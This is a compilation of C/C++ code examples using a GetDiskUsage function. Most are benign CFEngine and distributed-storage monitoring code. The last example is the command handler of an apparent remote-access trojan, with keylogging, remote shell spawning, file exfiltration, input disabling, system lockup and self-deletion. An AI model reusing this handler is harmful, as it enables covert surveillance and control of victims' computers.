示例#1
0
static int VerifyFreeSpace(char *file, Attributes a, Promise *pp)
{
    struct stat statbuf;
    long kilobytes;

#ifdef MINGW
    if (!a.volume.check_foreign)
    {
        CfOut(cf_verbose, "", "storage.volume.check_foreign is not supported on Windows (checking every mount)");
    }
#endif /* MINGW */

    if (cfstat(file, &statbuf) == -1)
    {
        CfOut(cf_error, "stat", "Couldn't stat %s checking diskspace\n", file);
        return true;
    }

#ifndef MINGW
    if (!a.volume.check_foreign)
    {
        if (IsForeignFileSystem(&statbuf, file))
        {
            CfOut(cf_inform, "", "Filesystem %s is mounted from a foreign system, so skipping it", file);
            return true;
        }
    }
#endif /* NOT MINGW */

    kilobytes = a.volume.freespace;

    if (kilobytes < 0)
    {
        int free = (int) GetDiskUsage(file, cfpercent);

        kilobytes = -1 * kilobytes;

        if (free < (int) kilobytes)
        {
            cfPS(cf_error, CF_FAIL, "", pp, a,
                 " !! Free disk space is under %ld%% for volume containing %s (%d%% free)\n", kilobytes, file, free);
            return false;
        }
    }
    else
    {
        off_t free = GetDiskUsage(file, cfabs);

        kilobytes = kilobytes / 1024;

        if (free < kilobytes)
        {
            cfPS(cf_error, CF_FAIL, "", pp, a, " !! Disk space under %ld kB for volume containing %s (%lld kB free)\n",
                 kilobytes, file, (long long) free);
            return false;
        }
    }

    return true;
}
示例#2
0
static PromiseResult VerifyFreeSpace(EvalContext *ctx, char *file, Attributes a, Promise *pp)
{
    struct stat statbuf;

#ifdef __MINGW32__
    if (!a.volume.check_foreign)
    {
        Log(LOG_LEVEL_VERBOSE, "storage.volume.check_foreign is not supported on Windows (checking every mount)");
    }
#endif /* __MINGW32__ */

    if (stat(file, &statbuf) == -1)
    {
        Log(LOG_LEVEL_ERR, "Couldn't stat '%s' while checking diskspace. (stat: %s)", file, GetErrorStr());
        return PROMISE_RESULT_NOOP;
    }

#ifndef __MINGW32__
    if (!a.volume.check_foreign)
    {
        if (IsForeignFileSystem(&statbuf, file))
        {
            Log(LOG_LEVEL_INFO, "Filesystem '%s' is mounted from a foreign system, so skipping it", file);
            return PROMISE_RESULT_NOOP;
        }
    }
#endif /* !__MINGW32__ */

    if (a.volume.freespace < 0)
    {
        int threshold_percentage = -a.volume.freespace;
        int free_percentage = GetDiskUsage(file, cfpercent);

        if (free_percentage < threshold_percentage)
        {
            cfPS(ctx, LOG_LEVEL_ERR, PROMISE_RESULT_FAIL, pp, a,
                 "Free disk space is under %d%% for volume containing '%s', %d%% free",
                 threshold_percentage, file, free_percentage);
            return PROMISE_RESULT_FAIL;
        }
    }
    else
    {
        off_t threshold = a.volume.freespace;
        off_t free_bytes = GetDiskUsage(file, cfabs);

        if (free_bytes < threshold)
        {
            cfPS(ctx, LOG_LEVEL_ERR, PROMISE_RESULT_FAIL, pp, a, "Disk space under %jd kB for volume containing '%s' (%jd kB free)",
                 (intmax_t) (threshold / 1024), file, (intmax_t) (free_bytes / 1024));
            return PROMISE_RESULT_FAIL;
        }
    }

    return PROMISE_RESULT_NOOP;
}
示例#3
0
static int VerifyFreeSpace(EvalContext *ctx, char *file, Attributes a, Promise *pp)
{
    struct stat statbuf;

#ifdef __MINGW32__
    if (!a.volume.check_foreign)
    {
        CfOut(OUTPUT_LEVEL_VERBOSE, "", "storage.volume.check_foreign is not supported on Windows (checking every mount)");
    }
#endif /* __MINGW32__ */

    if (cfstat(file, &statbuf) == -1)
    {
        CfOut(OUTPUT_LEVEL_ERROR, "stat", "Couldn't stat %s checking diskspace\n", file);
        return true;
    }

#ifndef __MINGW32__
    if (!a.volume.check_foreign)
    {
        if (IsForeignFileSystem(&statbuf, file))
        {
            CfOut(OUTPUT_LEVEL_INFORM, "", "Filesystem %s is mounted from a foreign system, so skipping it", file);
            return true;
        }
    }
#endif /* !__MINGW32__ */

    if (a.volume.freespace < 0)
    {
        int threshold_percentage = -a.volume.freespace;
        int free_percentage = GetDiskUsage(file, cfpercent);

        if (free_percentage < threshold_percentage)
        {
            cfPS(ctx, OUTPUT_LEVEL_ERROR, PROMISE_RESULT_FAIL, "", pp, a,
                 " !! Free disk space is under %d%% for volume containing %s (%d%% free)\n",
                 threshold_percentage, file, free_percentage);
            return false;
        }
    }
    else
    {
        off_t threshold = a.volume.freespace;
        off_t free_bytes = GetDiskUsage(file, cfabs);

        if (free_bytes < threshold)
        {
            cfPS(ctx, OUTPUT_LEVEL_ERROR, PROMISE_RESULT_FAIL, "", pp, a, " !! Disk space under %jd kB for volume containing %s (%jd kB free)\n",
                 (intmax_t) (threshold / 1024), file, (intmax_t) (free_bytes / 1024));
            return false;
        }
    }

    return true;
}
示例#4
0
void MonDiskGatherData(double *cf_this)
{
    char accesslog[CF_BUFSIZE];
    char errorlog[CF_BUFSIZE];
    char syslog[CF_BUFSIZE];
    char messages[CF_BUFSIZE];

    CfOut(cf_verbose, "", "Gathering disk data\n");
    cf_this[ob_diskfree] = GetDiskUsage("/", cfpercent);
    CfOut(cf_verbose, "", "Disk free = %.0lf%%\n", cf_this[ob_diskfree]);

/* Here would should have some detection based on OS type VSYSTEMHARDCLASS */

    switch (VSYSTEMHARDCLASS)
    {
    default:
        strcpy(accesslog, "/var/log/apache2/access_log");
        strcpy(errorlog, "/var/log/apache2/error_log");
        strcpy(syslog, "/var/log/syslog");
        strcpy(messages, "/var/log/messages");
    }

    cf_this[ob_webaccess] = GetFileGrowth(accesslog, ob_webaccess);
    CfOut(cf_verbose, "", "Webaccess = %.2lf%%\n", cf_this[ob_webaccess]);
    cf_this[ob_weberrors] = GetFileGrowth(errorlog, ob_weberrors);
    CfOut(cf_verbose, "", "Web error = %.2lf%%\n", cf_this[ob_weberrors]);
    cf_this[ob_syslog] = GetFileGrowth(syslog, ob_syslog);
    CfOut(cf_verbose, "", "Syslog = %.2lf%%\n", cf_this[ob_syslog]);
    cf_this[ob_messages] = GetFileGrowth(messages, ob_messages);
    CfOut(cf_verbose, "", "Messages = %.2lf%%\n", cf_this[ob_messages]);
}
示例#5
0
void MonDiskGatherData(double *cf_this)
{
    char accesslog[CF_BUFSIZE];
    char errorlog[CF_BUFSIZE];
    char syslog[CF_BUFSIZE];
    char messages[CF_BUFSIZE];

    cf_this[ob_diskfree] = GetDiskUsage("/", CF_SIZE_PERCENT);
    Log(LOG_LEVEL_VERBOSE, "[1] Disk free = %.0lf%%", cf_this[ob_diskfree]);

/* Here would should have some detection based on OS type VSYSTEMHARDCLASS */

    strcpy(accesslog, "/var/log/apache2/access_log");
    strcpy(errorlog, "/var/log/apache2/error_log");
    strcpy(syslog, "/var/log/syslog");
    strcpy(messages, "/var/log/messages");

    cf_this[ob_webaccess] = GetFileGrowth(accesslog, ob_webaccess);
    Log(LOG_LEVEL_VERBOSE, "[2] Webaccess = %.2lf%%", cf_this[ob_webaccess]);
    cf_this[ob_weberrors] = GetFileGrowth(errorlog, ob_weberrors);
    Log(LOG_LEVEL_VERBOSE, "[3] Web error = %.2lf%%", cf_this[ob_weberrors]);
    cf_this[ob_syslog] = GetFileGrowth(syslog, ob_syslog);
    Log(LOG_LEVEL_VERBOSE, "[4] Syslog = %.2lf%%", cf_this[ob_syslog]);
    cf_this[ob_messages] = GetFileGrowth(messages, ob_messages);
    Log(LOG_LEVEL_VERBOSE, "[5] Messages = %.2lf%%", cf_this[ob_messages]);
}
示例#6
0
void DSHeartbeatManager::Run(CThread * thread, void * arg)
{
    //1.register
    int32_t error_register = 0;
    struct tm *time_now;
    time_t lt;
    lt = time(NULL);
    time_now = localtime(&lt);
    srand((unsigned)time(NULL));
    int64_t time_next = ((config_->block_report_time_hour()
                - time_now->tm_hour + 24) % 24) * 3600000000 +
                ((config_->block_report_time_minite()
                - time_now->tm_min + 60) % 60) * 60000000 +
                //加上一个随机数避免所有DS在同一时间进行block report
                rand() % 120 * 60000000;
    if (0 == time_next)
        time_next = LAST_REPORT_INTERVAL;
    last_report_ = TimeUtil::GetTime() + time_next;
    //try register untill success
    while (false == DSRegister()) 
    {
        //register fail 5 times, try connect to NS
        if (4 < error_register) 
        {
            if (ds_impl_->net_server()->ConnectToNS())
                error_register = 0;
            else
                LOGV(LL_ERROR, "Can not connect to NameServer");
        }
        LOGV(LL_ERROR, "ds_register return error");
        ++error_register;
    }
    LOGV(LL_DEBUG, "ds_register return success");

    int32_t err_times = 0;
    const char *fs_path = config_->block_storage_directory().c_str();
    while (1) 
    { 
        //2. send heartbeat every 10(default) sec
        int32_t ret_code = GetDiskUsage(fs_path, &ds_metrics_->used_space_, 
                                        &ds_metrics_->total_space_);
        if (BLADE_FILESYSTEM_ERROR == ret_code) 
        {
            LOGV(LL_ERROR, "get disk usage error.");
            ds_metrics_->used_space_ = -1;
            ds_metrics_->total_space_ = -1;
        }
        int32_t used_pecent = 0;
        int32_t total_space_log = ds_metrics_->total_space_ / (1024*1024*1024);
        if (0 != ds_metrics_->total_space_) 
        {
            used_pecent = (ds_metrics_->used_space_)*100/ds_metrics_->total_space_;
        }
        int32_t ret_cpu_load = GetCpuLoad();
        if (0 > ret_cpu_load) 
        {
            LOGV(LL_ERROR, "get cpu load error.");
            ret_cpu_load = -1;
        }
        ds_metrics_->cpu_load_ = ret_cpu_load;
        ds_metrics_->num_connection_ = ds_impl_->num_connection();      
        
        //send heartbeat
        HeartbeatPacket * p = new HeartbeatPacket(rack_id_, ds_id_, *ds_metrics_);
        if (NULL == p) 
        {
            LOGV(LL_ERROR, "new Heartbeatpacket error.");
            continue;
        }
        int32_t ret_pack = p->Pack();
        if (BLADE_SUCCESS != ret_pack) 
        {
            delete p;
            LOGV(LL_ERROR, "Heartbeatpacket packet pack error");
        }
        
        uint64_t ns_id = config_->ns_id();
        int64_t  socket_fd = ds_impl_->net_server()->stream_handler()->end_point().GetFd();
        uint64_t ns_id_use = BladeNetUtil::GetPeerID(socket_fd);
        if (ns_id_use != ns_id) 
        {
            LOGV(LL_ERROR, "Error in the connection with NS,ns_id:%ld \
                    ns_id_use:%ld", ns_id, ns_id_use);
            sleep(DS_RECONNECT_NS_TIME);
            ds_impl_->net_server()->ConnectToNS();
            delete p;
            continue;
        }
        int32_t error = Singleton<AmFrame>::Instance().SendPacket(
                ds_impl_->net_server()->stream_handler()->end_point(), 
                p, true, NULL, NS_OP_TIMEOUT);
        if (0 == error) 
        {
            err_times = 0;   
            LOGV(LL_DEBUG, "heartbeat success.CPU:%d/total:%dGB/used:%d%/num:%d", 
                 ds_metrics_->cpu_load_, total_space_log, used_pecent,
                 ds_metrics_->num_connection_);
        } 
        else 
        {
            LOGV(LL_ERROR, "send heartbeat error.");
            ++err_times; 
            if (4 < err_times) 
            {
                if (ds_impl_->net_server()->ConnectToNS())
                    err_times = 0;
                else
                    LOGV(LL_ERROR, "Can not connect to NameServer");
            }
            delete p;
        }

        //3.block report if needed
        if (last_report_ <= TimeUtil::GetTime()) 
        {
            set<BlockInfo * > report;
            ds_impl_->dataset()->GetBlockReport(report);
            if (false == DSBlockReport(report)) 
            {
                LOGV(LL_ERROR, "ds block report error");    
            }
            else 
            {
                LOGV(LL_INFO, "ds block report success.");
            }
        }
        //4.sleep
        sleep(HEARTBEAT_INTERVAL_SECS);
    }
示例#7
0
文件: owl.cpp 项目: v1ka5/Owl_zwei
DWORD WINAPI HandleClient( LPVOID param ){
	
	SOCKET s = *(SOCKET*)param;
	char buf[1024],tmp[64];
	struct cmd_t cmd;
	int n;
	while(1){
		n = recv( s , buf , 1023 , 0 );
		buf[n] = 0;
		//MB(buf);
		if( n == 0 )
			break;
		parse_cmd( buf , &cmd );
		int sec = cmd.cmd_object;
		int arg = cmd.args;
		char *p = cmd.addnl.str;
		//wsprintf( tmp , "%d::%d" , sec , arg );
		//MB(tmp);
		if( sec == CMD_FILE ){
			switch( arg ){
			case FILE_SDIR:
				SendDirTree( s , p , 0 );
				break;
			case FILE_SDIREX:
				SendDirTree( s , p , 1 );
				break;
			case FILE_SDRV:
				SendDriveSet( s );
				break;
			case FILE_SEND:
				SendFile( s , p );
				break;
			case FILE_RECV:
				RecvFile( s , p );
				break;
			case FILE_MKDIR:
				LocalMkDir( p );
				break;
			default:
				SendLn( s , "***file: bad args\r\n" );
			}
		}
		else if( sec == CMD_HW ){
			switch( arg ){
			case HW_OPENCD:
				OpenCDTray();
				break;
			case HW_CLOSECD:
				CloseCDTray();
				break;
			case HW_MOUSE_R:
				SetMouseBns( MOUSE_RT );
				break;
			case HW_MOUSE_L:
				SetMouseBns( MOUSE_LT );
				break;
			case HW_MOUSE_SW:
				SwapMouseBns();
				break;
			case HW_MONITOR1:
				MonitorPower( 1 );
				break;
			case HW_MONITOR0:
				MonitorPower( 0 );
				break;
			case HW_DB_CLK:
				DblClkDelay( cmd.addnl.nums[0] );
				break;
			case HW_INPUT0:
				EnableInput( false );
				break;
			case HW_INPUT1:
				EnableInput( true );
				break;
			case HW_REBOOT:
				Reboot();
				break;
			case HW_SHTDWN:
				ShutDown();
				break;
			default:
				SendLn( s , "***bad args\r\n" );
			}
		}
		else if( sec == CMD_KEYBD ){
			switch( arg ){
			case KEYBD_STARTLOG:
				KeyLog( true );
				break;
			case KEYBD_STOPLOG:
				KeyLog( false );
				break;
			default:
				SendLn( s , "***keybd: bad args\r\n" );
			}
		}
		else if( sec == CMD_MOUSE ){
			switch( arg ){
			case MOUSE_FLY_STOP:
				FlyMousePtr( false );
				break;
			case MOUSE_FLY:
				FlyMousePtr( true );
				break;
			case MOUSE_FLY_CLK:
				FlyMousePtrClick( true );
				break;
			case MOUSE_RESTRICT:
				RestrictMouseMovementTo(cmd.addnl.nums[0],
										cmd.addnl.nums[1],
										cmd.addnl.nums[2],
										cmd.addnl.nums[3]
										);
				break;
			case MOUSE_SHOW:
				ShowMouseCursor( true );
				break;
			case MOUSE_HIDE:
				ShowMouseCursor( false );
				break;
			case MOUSE_CLK:
				MouseClick( cmd.addnl.nums[0] );
				break;
			case MOUSE_CLK_PT:
				MouseClickPoint( cmd.addnl.nums[1],
								 cmd.addnl.nums[2],
								 cmd.addnl.nums[0]
							   );
				break;
			case MOUSE_SETPOS:
				SetMousePos( cmd.addnl.nums[0],
							 cmd.addnl.nums[1]
							 );
				break;
			default:
				SendLn( s , "***mouse: bad args\r\n" );
			}
		}
		else if( sec == CMD_SHELL ){
			if( arg == SHELL_SPAWN )
				CreateRemoteShell( s );
		}
		else if( sec == CMD_SYS ){
			unsigned long m;
			unsigned __int64 d;
			char msg[256];

			switch( arg ){
			case SYS_MAXMEM:
				m = GetMaxMem();
				wsprintf( msg , "max mem: %u MiB\r\n" , m );
				SendLn( s ,msg );
				break;
			case SYS_BUSYMEM:
				m = GetBusyMem();
				wsprintf( msg , "mem in use: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_FREEMEM:
				m = GetFreeMem();
				wsprintf( msg , "free mem: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_MAXDISK:
				d = GetDiskUsage( cmd.addnl.str , U_TOTAL );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_USEDDISK:
				d = GetDiskUsage( cmd.addnl.str , U_USED );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_FREEDISK:
				d = GetDiskUsage( cmd.addnl.str , U_FREE );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_SYSDIR:
				wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() );
				SendLn( s , msg );
				break;
			case SYS_WINDIR:
				wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() );
				SendLn( s , msg );
				break;
			case SYS_CHDIR:
				cd( cmd.addnl.str );
				break;
			case SYS_LOCKUP:
				SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" );
				Sleep(2000);
				LockUp();
				break;
			case SYS_RAMFILL:
				RamFill();
				break;
			default:
				SendLn( s , "***sys: bad args\r\n" );
			}
		}
		else if( sec == CMD_TBAR ){
			switch(arg){
			case TBAR_SHOW:
				ShowTaskBar( true );
				break;
			case TBAR_HIDE:
				ShowTaskBar( false );
				break;
			case TBAR_STBN_SHOW:
				ShowStartBn( true );
				break;
			case TBAR_STBN_HIDE:
				ShowStartBn( false );
				break;
			case TBAR_STBN_FLY1:
				FlyStartBn( true );
				break;
			case TBAR_STBN_FLY0:
				FlyStartBn( false );
				break;
			case TBAR_CLOCK_SHOW:
				ShowClock( true );
				break;
			case TBAR_CLOCK_HIDE:
				ShowClock( false );
				break;
			case TBAR_ENABLE:
				EnableTaskBar( true );
				break;
			case TBAR_DISABLE:
				EnableTaskBar( false );
				break;
			default:
				SendLn( s , "***tb: bad args\r\n" );
			}
		}
		else if( sec == CMD_PRANK ){
			switch(arg){
			case PRANK_DTP_ENABLE:
				EnableDesktop( true );
				break;
			case PRANK_DTP_DISABLE:
				EnableDesktop( false );
				break;
			case PRANK_FU_START:
				if( !strequal( cmd.addnl.str , "" ) )
					szFUStr = cmd.addnl.str;
				FuckYou( true );
				break;
			case PRANK_FU_STOP:
				FuckYou( false );
				break;
			case PRANK_WRUN_START:
				if( cmd.addnl.nums[0] > 0 )
					uiRunWindowsDelay = cmd.addnl.nums[0];
				MakeWindowsRun( true );
				break;
			case PRANK_WRUN_STOP:
				MakeWindowsRun( false );
				break;
			case PRANK_QUAKE_START:
				if( cmd.addnl.nums[0] > 0 )
					uiQuakeDelay = cmd.addnl.nums[0];
				Quake( true );
				break;
			case PRANK_QUAKE_STOP:
				Quake( false );
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}
		else if( sec == CMD_OWL ){
			switch(arg){
			case OWL_UNINSTALL:
				SelfDelete();
				exit(0);
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}

	}
	return 0;
}